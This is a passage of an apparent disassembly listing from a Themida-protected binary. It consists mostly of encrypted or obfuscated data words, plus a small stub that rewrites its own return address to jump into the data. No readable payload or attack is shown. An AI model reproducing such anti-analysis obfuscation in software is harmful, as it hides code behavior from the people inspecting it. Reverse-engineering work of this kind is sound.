		dd 4037ECEEh, 2A8E6A2Eh
		dd 9149E9B3h, 0C82007F0h, 3B03EFA7h, 4EAAB064h,	5DA2EB83h
		dd 8C36EB83h, 1164EFA7h, 0A8682464h, 8538F232h,	0E1A664A1h
		dd 0E25FBACh, 31CBBAA7h, 3923EFA7h, 57E2CFAh, 0C727CBCBh
		dd 3B27CBE3h, 0D423EFA7h, 2AB12CF2h, 4F0D0D12h,	2616F21Ah
		dd 54BE64A1h, 0E625FBACh, 45CBBFA7h, 323EFA7h, 187B2CFFh
		dd 4927CBE3h, 7C27CBE3h, 7223EFA7h, 91962CF7h, 0A568C192h
		dd 5230761Ah, 0D1A2ACA1h, 0E6D14651h, 75A8F42Ch, 6237DF9Eh
		dd 0A7AAF42Ch, 1F37EDBEh, 8C49F42Ch, 462007F4h,	7803EFA7h
		dd 0CDAAB464h, 8CA2EB83h, 643AEB83h, 6160EFA7h,	2E4BB64h
		dd 0BF3322FEh, 1523857Fh, 2323EC4Fh, 5278CFA7h,	0EC7F66FCh
		dd 40676EA3h, 3223F3A3h, 0DA70ACA7h, 0FA2161Eh,	0BCD4208Ch
		dd 0A2BE6648h, 0FB25FBBCh, 0CBCBBDA7h, 4423EFA7h, 0BB792CFDh
		dd 9827CBF3h, 9427CBE3h, 423EFA7h, 804F2CF5h, 18DE6996h
		dd 0DC25FE3Ah, 2D9ECCA1h, 0F425FBB6h, 0D39B622h, 8C49A8A1h
		dd 462007F6h, 7A03EFA7h, 0DDAAB664h, 8CA2EB83h,	6435EB83h
		dd 6362EFA7h, 6BD50664h, 8AB1C11Dh, 462707DFh, 0FE8AEFA7h
		dd 1A455879h, 412CBF5Dh, 6423EFB6h, 322906F0h, 4D75EFA7h
		dd 1839BB07h, 0A3B1F2C8h, 76764FDh, 909989A3h, 98236400h
		dd 642407F5h, 0EB79EFA7h, 7DA8B8FFh, 8371BFAAh,	187BB596h
		dd 7B79DEA8h, 9507AB2Eh, 0C8266AA8h, 0ED9AEFA7h, 6A481499h
		dd 0F175EFCDh, 8C23EFA4h, 18E0B187h, 27079B2Eh,	9507AB26h
		dd 0C823EFBEh, 35E0B9E1h, 5EE6F109h, 19330797h,	8C68EFA7h
		dd 2D724D00h, 0DC55D575h, 7EC5E941h, 3A8FE2Bh, 0B59610FEh
		dd 0B925FBBDh, 0D27B212h, 57A662A1h, 2C25F827h,	20CBB9A7h
		dd 0B123EFA7h, 417D2CF9h, 0E527CBD3h, 2627CBE3h, 5F23EFA7h
		dd 73832CF1h, 46330677h, 237FEFA7h, 90AC9BE9h, 40AA4488h
		dd 546C43FEh, 0B7AAEE6Ah, 1F37EA1Ah, 219EC6F0h,	1F25FBBCh
		dd 0A8515AE7h, 850FDA12h, 412364A1h, 7032F212h,	582364A1h
		dd 1ACBB8A7h, 0AC23EFA7h, 0CF7C2CF8h, 0A227CBDBh, 8627CBE3h
		dd 8F23EFA7h, 391C2CF0h, 0AFAA50BCh, 1F37C9A6h,	83E26A2Eh
		dd 4649E9B3h, 232007F4h, 0CA03EFA7h, 94AAB464h,	20A2EB83h
		dd 3237EB83h, 4A60EFA7h, 31AA9564h, 4037C522h, 2323FF4Eh
		dd 702196A7h, 0CE051D34h, 461ABD81h, 0FF6173F3h, 18AB062Ch
		dd 8C49EFA7h, 462007F1h, 7D03EFA7h, 0E5AAB164h,	8CA2EB83h
		dd 6434EB83h, 6465EFA7h, 0C99C1764h, 7E8657Ch, 52357E12h
		dd 91A662A1h, 0FB25F80Dh, 0CBCBBEA7h, 4423EFA7h, 0BB7A2CFEh
		dd 9827CBEBh, 9027CBE3h, 723EFA7h, 0F77C2CF6h, 0B37254D2h
		dd 580F8B1Bh, 2736911h,	0A2498118h, 0F174EFCDh,	8C23EFA4h
		dd 19E0B087h, 2707932Eh, 9507AB26h, 0C823EFBCh,	77E0B8E0h
		dd 9AFCC345h, 0E66851EDh, 980C7A32h, 162385A1h,	2323EC4Fh
		dd 527BCFA7h, 0EC6766FFh, 40676EA3h, 3223F5A3h,	0DA73AFA7h
		dd 0D49B7837h, 0C714BACBh, 7D44D151h, 1F75509Ch, 55AE8B03h
		dd 6234451Fh, 0DA75EFCDh, 1923EFA4h, 0D2E0B187h, 42079B2Eh
		dd 2707AB26h, 9123EFBFh, 6EE0B9E1h, 1D002D73h, 3202522Eh
		dd 7FB0E9B3h, 0DC185519h, 462F07F0h, 0F224EFA7h, 0EEB0D327h
		dd 0F534BDCBh, 6CCA2811h, 0C223EFA7h, 338F91ADh, 0D5A6DDA1h
		dd 46497CF9h, 232007F5h, 0CB03EFA7h, 9CAAB564h,	20A2EB83h
		dd 323AEB83h, 4B61EFA7h, 0C5550364h, 49174FD3h,	2323ED2Bh
		dd 0C1E964A7h, 0C707EB2Eh, 0F1DC3818h, 3437F2E2h, 0F170EFCDh
		dd 8C23EFA4h, 1DE0B487h, 2707B32Eh, 9507AB26h, 0C823EFBDh
		dd 0E9E0BCE4h, 9F25C081h, 9CAA195Ch, 8A37E60Ah,	0AE70EFCDh
		dd 2323EFA4h, 0CAE0B487h, 0CC07B32Eh, 6007AB26h, 3223EFB1h
		dd 0F0E0BCE4h, 19A892E7h, 4037FE8Ah, 0A6E5182Dh, 9737F5FEh
		dd 9D2385F4h, 6423EC4Fh, 0F17ECFA7h, 3D4F66FAh,	0A8676EA3h
		dd 4623F3A3h, 0E076AAA7h, 0BF528C74h, 4444EDE8h, 0A196EEAEh
		dd 0DA25FB82h, 1923EFA3h, 26A46BD8h, 4623FD4Fh
		db 0A7h
byte_584369	db 0A0h, 0F8h, 0BCh	; DATA XREF: Themida_:0054B77Co
		dd 8325E50Fh, 8D35656h,	0D50D546Bh, 52D8B333h, 8998D519h
		dd 0DC7C8EE6h, 44A6E0C7h, 7223EFA7h, 97A2E0FCh,	0C723EFA7h
		dd 6423EF21h, 76A88EA7h, 4B73EB83h, 0DC1359C7h,	1C12E0F5h
		dd 122C8EFFh, 91A8B7FDh, 0CC07AB2Eh, 642060A8h,	0B945EFA7h
		dd 0FBA2B771h, 868E903Fh, 5CF25A58h, 2349E9B3h,	912007F0h
		dd 9703EFA7h, 18AAB064h, 76A2EB83h, 1936EB83h, 0DB64EFA7h
		dd 0CB5B1F64h, 34A33422h, 0C42385A1h, 0C823EC4Fh, 0A77ECFA7h
		dd 164F66FAh, 3D676EA3h, 8C23F6A3h, 8576AAA7h, 0A96D5170h
		dd 262CDDBCh, 0A8F3106Eh, 4DEE7A2Eh, 3D70E9B3h,	1923EF24h
		dd 542B1A7h, 522AD622h,	762385A1h, 9123EC4Fh, 0B7ECFA7h
		dd 404F66FAh, 16676EA3h, 1923F4A3h, 4F76AAA7h, 0FF65E54Fh
		dd 57F62F08h, 0BC7A5A2Ch, 450AE9B3h, 6237C632h,	287A6A61h
		dd 9064E9B3h, 98364E32h, 0F9F887A1h, 0A12C9870h, 9123EFB4h
		dd 0C823E74Fh, 97C9D2A7h, 2FFAF671h, 0E7FB50CBh, 0D7CE6B9h
		dd 1396CBA3h, 2349C63Dh, 912007F4h, 9303EFA7h, 38AAB464h
		dd 76A2EB83h, 193EEB83h, 0DF60EFA7h, 0BDD46964h, 0AE597D57h
		dd 2B78DCBDh, 0A74B2D51h, 6942722Eh, 87DCE9B3h,	1F37F576h
		dd 0A5C66A96h, 0C3AEE9B3h, 25346F7Ch, 0BABE522Eh, 18DCE9B3h
		dd 8C75EFCDh, 3223EFA4h, 47E0B187h, 88079B2Eh, 4207AB26h
		dd 2323EFBFh, 62E0B9E1h, 854C6B1Fh, 6C667A2Ch, 26CAE9B3h
		dd 8623EFA7h, 7A64F8ABh, 9294E777h, 0A4EA17CAh,	6DB99036h
		dd 41DD4520h, 7028DE22h, 672385A1h, 1923EC4Fh, 4F7ECFA7h
		dd 624F66FAh, 7676EA3h,	9123F3A3h, 0B76AAA7h, 27773A1h
		dd 8E565808h, 0E8A889C6h, 890E5A2Ch, 0C3E5E9B3h, 2537F5FEh
		dd 0C62385F4h, 0C823EC4Fh, 0A77CCFA7h, 165F66F8h, 3D676EA3h
		dd 8C23F2A3h, 8574A8A7h, 9035ACC9h, 416AA5C2h, 684B9542h
		dd 0EFEEA2B6h, 16176E50h, 4D57A197h, 8A527A2Ch,	0F3DCE9B3h
		dd 2537F576h, 11F86A2Ah, 0DACAE9B0h, 1723EFA7h,	97E03B8Ah
		dd 0A2228CC4h, 99A6CFAAh, 0A486CF4Ah, 43F310D9h, 0F0DA64C7h
		dd 0D0F65A2Eh, 0ED42E9B3h, 26008E22h, 1FAAE0A1h, 0A523EFA7h
		dd 5228721Ah, 7AA629A1h, 0C625FBBDh, 5C8651C1h,	9555ABCFh
		dd 0E5A889F6h, 0DB07EB26h, 71DFD7Ch, 97961050h,	4925FBBDh
		dd 92CBBCA7h, 0E823EFA7h, 0ED782CFCh, 0B327CBFBh, 427CBE3h
		dd 0CF23EFA7h, 0DD322CF4h, 0D72CB7C6h, 38F1C74Eh, 48F86A2Ah
		dd 68CAE9B0h, 2B23EFA7h, 24190CDFh, 88EB61Ch, 0B9EF4AE5h
		dd 3A9E6477h, 1825FBABh, 0DC08F622h, 0A2D264A1h, 2639B622h
		dd 1949ACA1h, 8C2007F4h, 1D03EFA7h, 7FAAB464h, 0D5A2EB83h
		dd 0C835EB83h, 3760EFA7h, 0FA86A964h, 2DAA5A2Ch, 88CBE9B3h
		dd 6E23EFA7h, 919F7FD7h, 0E099BF75h, 4330B524h,	0DE27CBE3h
		dd 511AF159h, 699CEF2Ch, 5762DCDh, 0CD27CBE3h, 96A8B76Ch
		dd 9737F9D6h, 0D2F25A58h, 6449E9B3h, 322007F0h,	4603EFA7h
		dd 0F0AAB064h, 2A2EB83h, 233FEB83h, 0C664EFA7h,	93F95864h
		dd 0F1D43FECh, 852C2F0Fh, 0C2A66275h, 0E625F827h, 45CBBAA7h
		dd 323EFA7h, 187E2CFAh,	4927CBCBh, 7327CBE3h, 7723EFA7h
		dd 74A12CF2h, 0A2CAB41h, 4623EFA1h, 281652A4h, 41DCE9B3h
		dd 2070EFCDh, 6423EFA4h, 69E0B487h, 1D07B32Eh, 8807AB26h
		dd 4623EFB3h, 24E0BCE4h, 912265A8h, 41D6EFA7h, 70139A22h
		dd 9AA662A1h, 7325F80Dh, 8FCBB9A7h, 6623EFA7h, 0AA7D2CF9h
		dd 1027CBD3h, 0D327CBE3h, 2223EFA7h, 0EBF52CF1h, 1ED3594Bh
		dd 0D274EFF7h, 2671BFF7h, 0F5A88EC7h, 0F712E0C6h, 9079392Ch
		dd 0E07EB2Eh, 31CBBAA7h, 3923EFA7h, 57E2CFAh, 0C727CBCBh
		dd 3827CBE3h, 0D423EFA7h, 57A12CF2h, 762FC36Eh,	31DAD748h
		dd 0D207A32h, 19B610A1h, 2C25FB88h, 20CBBEA7h, 0B123EFA7h
		dd 417A2CFEh, 0E527CBEBh, 2A27CBE3h, 5823EFA7h,	55612CF6h
		dd 2010B897h, 0A8CB7118h, 0C723857Fh, 0C823EC4Fh, 0A77DCFA7h
		dd 165766F9h, 3D676EA3h, 8C23F5A3h, 8575A9A7h, 7E002900h
		dd 0C642A1B0h, 4DAEB05Eh, 6234453Bh, 3223E34Eh,	0AA3E79A7h
		dd 4FF6F6BDh, 3D57F513h, 0A32CBF0Eh, 9123EFA0h,	584750F7h
		dd 0ED7A99BBh, 34CACBA3h, 3C23EFA7h, 0A700BBE0h, 0FF457C08h
		dd 4573D8BBh, 2E78019h,	2070EFCDh, 6423EFA4h, 69E0B487h
		dd 1D07B32Eh, 8807AB26h, 4623EFBBh, 9AE0BCE4h, 70B3D97Ah
		dd 6218E8B6h, 6423FC4Eh, 0EA013AA7h, 0B1F3B9EEh, 0BD74A192h
		dd 1C932B15h, 9A462FB8h, 8C667A58h, 0C849E9B3h,	642007F5h
		dd 6803EFA7h, 4DAAB564h, 0C8A2EB83h, 463EEB83h,	7161EFA7h
		dd 0BCD41764h, 202F8DD7h, 0ED4E29EEh, 260CC61Ah, 5CA666A1h
		dd 0BF25FB89h, 522FB612h, 86A628A1h, 9E25FBBDh,	0A223EFA7h
		dd 67CBB8A7h, 1223EFA7h, 907C2CF8h, 0D27CBDBh, 5B27CBE3h
		dd 6423EFA7h, 0E8962CF0h, 7CC1E4C3h, 0AB67AE9Ch, 0F4A289C7h
		dd 78D6B04Fh, 8CFA52AEh, 0D3DCE9B3h, 2537C1E2h,	912568A8h
		dd 45AAEFA7h, 6237CBB2h, 10225294h, 9CAAE9B3h, 8A37E9AEh
		dd 0CDD850A8h, 3733EE22h, 0C3BE62A1h, 4125F81Ah, 0D9AEEEE4h
		dd 3437E236h, 0A40F5A2Ah, 0BF9AE9B0h, 0B523EFA7h, 9B100403h
		dd 9123EFA7h, 0CB572FACh, 0EF23F765h, 612FCBE3h, 1923EF4Fh
		dd 4FA2B4A7h, 4623EFB0h, 3307B32Eh, 8507AB2Eh, 681457FCh
		dd 84DCEF05h, 3607AB2Ch, 19490F58h, 8C2007F4h, 1D03EFA7h
		dd 7FAAB464h, 0D5A2EB83h, 0C838EB83h, 3760EFA7h, 31471E64h
		dd 13C3FDC8h, 0D966669h, 2025FB89h, 50AC3826h, 874E7AA4h
		dd 7F2CE9B3h, 0DE458E6Dh, 8FAE44CCh, 1F34453Bh,	3194622Ah
		dd 739BE9B0h, 10BBC90Ch, 852B2622h, 0C7ECC4A1h,	4F112385h
		dd 0A72323ECh, 0F8527CCFh, 0A3EC5F66h, 0A340676Eh, 0A73223F2h
		dd 0E98374A8h, 8BA4F305h, 0FEF781D9h, 0E92E954Ch, 59h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 6EC35343h
		dd 726ABB18h, 0A6C51888h, 6A61FCh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0CFB739C3h, 0A1A4F6C3h
		dd 605BD874h, 12DF8166h, 0F094BF15h, 0C3613730h, 0F5C08BF9h
		dd 30B1BD83h, 75000614h, 0E1BD8309h, 6141Ah, 53501974h
		dd 0B9B8C08Bh, 89000004h, 1430C185h, 0A19D8D06h, 0FF0616B7h
		dd 83585BD3h, 141AE1BDh, 17740006h, 0B9B85350h,	89000004h
		dd 1430C185h, 429D8D06h, 0FF0616B4h, 0F5585BD3h, 5810Fh
		dd 0F9600000h, 8B615956h, 8B40F9C0h, 55006AC1h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0E544A7F2h
		dd 0EBF0E5A6h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0D9B34A27h, 8D89DAE7h
		dd 6140379h, 99858DF5h,	0B06140Fh, 140BADB5h, 0DE95006h
		dd 0E2000000h, 261E71B3h, 0A90CF97Ah, 0E50A315Fh, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0F85BC350h, 36A7C4B7h, 606440BAh,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 82F968C3h, 0F006A2Fh, 2B8Ah,	12E800h, 0A5A0000h, 66570D50h
		dd 0FD1ACF38h, 0EB33186h, 391589CEh, 0EE9h, 6E0CE800h
		dd 4BF0CAD4h, 368ECD97h, 5FFFCFC3h, 0C0E0858Dh,	6A0617h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0B54274C3h, 66BF2C42h, 0C083F78Bh, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 6690C14Eh, 9050F28Bh, 1B1DBD8Bh, 6A0614h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E0C35545h, 4E8720FFh
		dd 7683B611h, 1D9D8956h, 66061432h, 6AF08Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 32C35646h, 0BE2B047Eh
		dd 0E165B8BAh, 0F080604Ch, 69958BEDh, 61061426h, 1A7195FFh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 6087C6C3h, 14E8F78Bh, 4C000000h, 0E5FDB3AEh
		dd 0E42CE1C5h, 0E50FAF8Eh, 0E88B2BDFh, 0F92244DEh, 9509615Fh
		dd 6140A29h, 0A8FC9D8Dh, 8D090617h, 6140E89h, 0BD01D3FFh
		dd 6143159h, 236D85FFh,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0FD85F8C3h, 0AB2B3F97h
		dd 0F9BF0F65h, 0BE2F1ABEh, 11E91Dh, 40CB0000h, 91721D8Fh
		dd 23E1B23Ch, 50801526h, 0E982D2E3h, 797h, 0E8h, 0ED815D00h
		dd 617C0EAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	32C35141h, 0DE8166F0h, 0BD81613Eh, 6141AA5h, 7D0h
		dd 147860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0AE9575C3h, 4D20C59Ah, 0BF6643C0h
		dd 0BF0F1CE4h, 319D8BF3h, 66061402h, 816E91BEh,	100E3h
		dd 0FE900h, 0D9C20000h,	1E2319B0h, 0F141BEA0h, 0C89D328Eh
		dd 0FDB0B84h, 9485h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD8313BCh, 617BEBEh
		dd 14840F00h, 8B000000h, 14313DBDh, 9CE906h, 8E0F0000h
		dd 3, 0C7F6B70Fh, 17BEBE85h, 106h, 5958900h, 0E9061401h
		dd 7Eh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh
		dd 7DC35141h, 3CDCA8Bh,	0E968BBA6h, 13h, 0D9E99747h, 70BA460Dh
		dd 3721DBA9h, 7CC040F6h, 8B29703Ah, 1400E5BDh, 0BE85C706h
		dd 617BEh, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0E4ABC350h, 605DEA1Fh,	0E5F38166h
		dd 4DB58B15h, 61061422h, 1C58D29h, 9D8D0614h, 6140231h
		dd 69B58BF5h, 81061402h, 0FFFEFF23h, 0ADBD8BFFh, 8906141Bh
		dd 140019B5h, 0DB8C6606h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0F5C35646h, 56D71F07h, 0DE8166E6h, 0C3F69DDBh
		dd 4A840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0EFF3C357h,	95FF7773h
		dd 6142E45h, 14B1BD33h,	0E9900614h, 5, 98CEEF98h, 0F90504Dh
		dd 0C8Bh, 6810F00h, 89000000h, 140CD985h, 42AE906h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0EE5B8FC3h, 91FCEC5Fh, 11E85D86h, 0A3000000h, 4A1739A1h
		dd 3F132A83h, 0CCE5EAF7h, 455BFC2Eh, 0FE8h, 8678C600h
		dd 0A2C92D46h, 0F3ACBDD3h, 0E57ABAF0h, 8B665F5Fh, 6A00B0F9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 740C350h,	70E62660h, 1A15BD8Bh, 71E40614h
		dd 816650F5h, 5FBEBEDFh, 8BD8B60Fh, 6BAF2h, 0B7BE0000h
		dd 8B6D672Ah, 0C1F18BC3h, 0F08B04E8h, 0E9E2F766h, 0Dh
		dd 0DDDED395h, 8D726135h, 0A11B6FA2h, 89D82BC1h, 1422099Dh
		dd 12E95006h, 1000000h,	0FCD4C8CDh, 65255B9h, 266FF7AAh
		dd 168C9E39h, 241C8956h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 41C35040h, 4605CAD3h,	9D891262h, 6141635h
		dd 0AED8D89h, 0B5FF0614h, 6141AA5h, 4DDB533h, 11E90614h
		dd 62000000h, 1AE1EB60h, 7E08D19Fh, 0B8F40002h,	3DBA858Fh
		dd 116995FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 2177A3C3h, 0D0856DBBh, 0BD8BD1E1h
		dd 6141D3Dh, 2ADD9589h,	0B00614h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0D4C35343h,	0A23E5EBh, 0EF3E478Fh
		dd 0A2F8BFD4h, 70E63EADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0E0C35343h, 613C71E4h, 27A830Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 24EE5EC3h, 0B60F842Eh, 0ADB503D8h, 0BA06142Eh, 6, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EC35242h, 74EDE114h
		dd 0F4556E4h, 6060F0BFh, 6E9h, 9B0BAB00h, 890D4583h, 1405358Dh
		dd 8D2B6106h, 6140F71h,	6AC38B61h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FCB6C356h
		dd 0F0FDF483h, 0E8C1F844h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 665D6709h
		dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 2B1AE1C3h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 29CA87DCh, 1403A985h
		dd 68A0F06h, 29000000h,	1419D18Dh, 0CE95806h, 0F8000000h
		dd 0E3B63133h, 9EEA1618h, 2BAAA83Fh, 59880FD8h,	66000001h
		dd 6BC7EE81h, 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 9B6B68C7h, 0A70DA023h
		dd 31B1B58Bh, 0EE80614h, 0AF000000h, 0E59C6D30h, 2EDC874Eh
		dd 0E8BC068Ch, 6860FD9h, 0F000000h, 87h, 0C1835E00h, 0FD93B00h
		dd 0FB86h, 0D98C6600h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 19C35646h, 0E904246Ch, 0F1B58BD8h, 0F6061400h
		dd 840F04C1h, 0A3h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 8FC35343h, 98C3D907h,	85896052h, 6140D55h
		dd 820Fh, 5E610000h, 2E4595FFh,	6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8C36E1C3h
		dd 8B70BC2Eh, 141AC5B5h, 33515B06h, 1416F5B5h, 0C32B5F06h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A3C35343h
		dd 52948D24h, 3D5FF78Bh, 834h, 0D860Fh,	0BD890000h, 61412DDh
		dd 27E9h, 8BF98B00h, 52006AC0h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 85898500h, 6143499h, 0D88BC38Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E9C35545h
		dd 0F6010F0h, 68Ch, 69BD0B00h, 0E906140Eh, 7, 1BEBE2A0h
		dd 61050B7Dh, 1AF985C7h, 0E5F10614h, 6A3DD4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 57E5D7C3h
		dd 0DB19B88Eh, 0C098589h, 0C08B0614h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 18h, 37C35242h, 0AC783C37h
		dd 82DBD89h, 0BD810614h, 6141AA5h, 7D0h, 2D850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 6A2A88C3h, 0B13023EBh, 1AA585FFh, 81660614h,	0FF76DDEEh
		dd 141AA5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0B0B931ECh, 0F8B70FB9h, 0EE9h, 37DA6B00h
		dd 6489EF69h, 0B516ED5Bh, 0FF7E4D3Eh, 14116995h, 0B890F906h
		dd 12345678h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	45C35242h, 286D446Fh, 3543A3F6h, 2C9D8DF7h, 0E90617C8h
		dd 0FFFFF884h, 12EE8166h, 10820FF9h, 0E9000000h, 0Bh, 36C0BAB6h
		dd 539F8C5Dh, 8B937E7Bh, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 7BB38C31h, 81665E9Eh
		dd 0EB4F50CFh, 4, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 8DB58B47h, 8B06141Bh
		dd 0CD8589F7h, 8D061413h, 140F9985h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 89F7B12h, 6C99314Ch
		dd 6830FA4h, 89000000h,	14253185h, 52505006h, 0FFA8B66h
		dd 5C22BF31h, 585A609Ch, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5E17C355h
		dd 0E229582Bh, 1CB5B533h, 6A0614h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0FAC35747h,	29D68356h, 67BFBE0h
		dd 11E9h, 5B43C900h, 32DF36B2h,	0C6240644h, 0F5CF9952h
		dd 85892E95h, 6142AF1h,	9589006Ah, 6141FC5h, 0CAC4858Dh
		dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0ED25A7C3h, 5C08330h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 3BC35040h, 3131B523h, 8B660614h
		dd 14E990F9h, 0D7000000h, 3E22CB86h, 7FD12C9Ch,	5FD93DAh
		dd 0FE51BFFFh, 50E6E17Fh, 0D26BBE66h, 6A96BF90h, 6A768Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7DC35343h
		dd 0F881ACEBh, 29A8946Dh, 6A006A12h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EADAC353h
		dd 7195FF4Ah, 0B06141Ah, 140E95B5h, 5880F06h, 0BF000000h
		dd 4C9CA975h, 0A8FC9D8Dh, 0B58B0617h, 6142505h,	6AD3FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0F1AFD0C3h, 0EFD0F38Ch, 0D1BD8BD6h, 0FF061404h, 14236D85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 61148EBBh, 0DF54A3h, 0C59D29EBh,	0E9061429h
		dd 0E16h, 0E8h,	0ED815D00h, 617CACEh, 2AA59589h, 0BD810614h
		dd 6141AA5h, 7D0h, 171860Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0C61745C3h
		dd 899B2993h, 1424D985h, 759D8B06h, 8106141Bh, 100E3h
		dd 0EDB52900h, 0B061405h, 93850FDBh, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 7900C357h, 52BC1F9h,	0A6BD83FCh, 617C8h, 43840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 7D76C8C3h, 14E938h, 65C00000h, 78A2CCB9h, 0DEE71D22h
		dd 0B1FE4B09h, 0B2CE69C4h, 7BE9600Bh, 8B000000h, 140C71B5h
		dd 0A685C706h, 10617C8h, 1000000h, 140C3585h, 60E906h
		dd 8B660000h, 38C0FF1h,	0F000000h, 85C7F3B7h, 617C8A6h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5857B3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5857B3	proc near		; CODE XREF: Themida_:005857ABp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5857B3	endp

; ---------------------------------------------------------------------------
		db 19h
		dd 326960F0h, 0B5CCDAFEh, 5E8ACh, 0E79F0000h, 0E8F947B0h
		dd 13h,	22AA4322h, 18C1F4A7h, 52EFCCD4h, 41B4C048h, 0FC60E70Fh
		dd 9D8D5E5Eh, 6141B75h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0DAC35242h, 0FEFF2381h, 6AFFFFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 972C7AC3h, 662A5EB4h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 9B4389C3h, 0B50BCD1Bh
		dd 6142195h, 0F04C3F6h,	5384h, 5E800h, 0A1BE0000h, 89CB2C0Eh
		dd 1403B18Dh, 95FF5F06h, 6142E45h, 0E990FA8Bh, 6, 0AFDA7364h
		dd 50503FDBh, 5E952h, 35A30000h, 0FCDACD7h, 10E831h, 82420000h
		dd 1EE9C2EAh, 0BA451E2Eh, 2B94E6FDh, 850FB96Eh,	0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edx
		pop	eax
		nop
		jmp	loc_585CD0
; ---------------------------------------------------------------------------
